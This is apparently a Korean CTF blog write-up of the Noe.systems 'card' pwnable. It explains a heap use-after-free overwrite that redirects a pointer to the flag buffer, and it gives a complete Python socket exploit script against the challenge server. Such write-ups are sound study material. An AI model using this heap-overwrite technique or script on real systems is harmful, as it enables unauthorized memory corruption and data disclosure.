본문 바로가기

WARGAME/Noe.systems

[Noe.systems] card [Pwnable]

main의 소스를 보면 이렇게 되어있는데

우선 flag_read 함수를 볼 수 있다


이게 플래그 함수다.


이건 메뉴다

이문제는 Plaid-ctf-prodmanager와 비슷하다.


1번을 눌러서 make_card 함수를 보면

name addr job 입력을 받는데 malloc으로 할당한 공간에 값을 넣는다


여기 malloc다음 f8을 한번 누르면 레지스터창에 힙 주소를 알 수 있다


이런식으로 malloc 후 free하고 다시 그 위에 값을 쓰면 저런식으로 값이 나온다


이렇게 되는걸 알 수 있는데

계속 해보니깐 152바이트까지는 출력이 된다

그러니 152를 넣고 flag_read에 있는 stream 주소를 넣으면

4번을 눌렀을 때 플래그를 보여준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from struct import *
from socket import *
from time import sleep
 
p64 = lambda x : pack('<Q', x)
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("noe.systems"50000))
 
sleep(0.3)
print s.recv(1024)
s.send("1"+"\n")
sleep(0.3)
print s.recv(1024)
s.send("AAAA"+"\n")
sleep(0.3)
s.send("BBBB"+"\n")
sleep(0.3)
s.send("CCCC"+"\n")
sleep(0.3)
print s.recv(1024)
 
sleep(0.3)
s.send("2"+"\n")
sleep(0.3)
s.send("3"+"\n")
sleep(0.3)
print s.recv(1024)
 
sleep(0.3)
payload = "A"*50+"B"*50+"C"*52
payload += p64(0x602120)
s.send(payload+"\n")
sleep(0.3)
print s.recv(1024)
sleep(0.3)
s.send("4"+"\n")
sleep(0.3)
print s.recv(1024)
sleep(0.3)
s.send("0"+"\n")
sleep(0.3)
print s.recv(1024)
sleep(0.3)
print s.recv(1024)
sleep(0.3)
print s.recv(1024)
# print "A"*50+"B"*50+"C"*56
 
# flag = 0x602120
 
cs

64비트환경이라서 p64를 해줘야한다 ㅡㅡ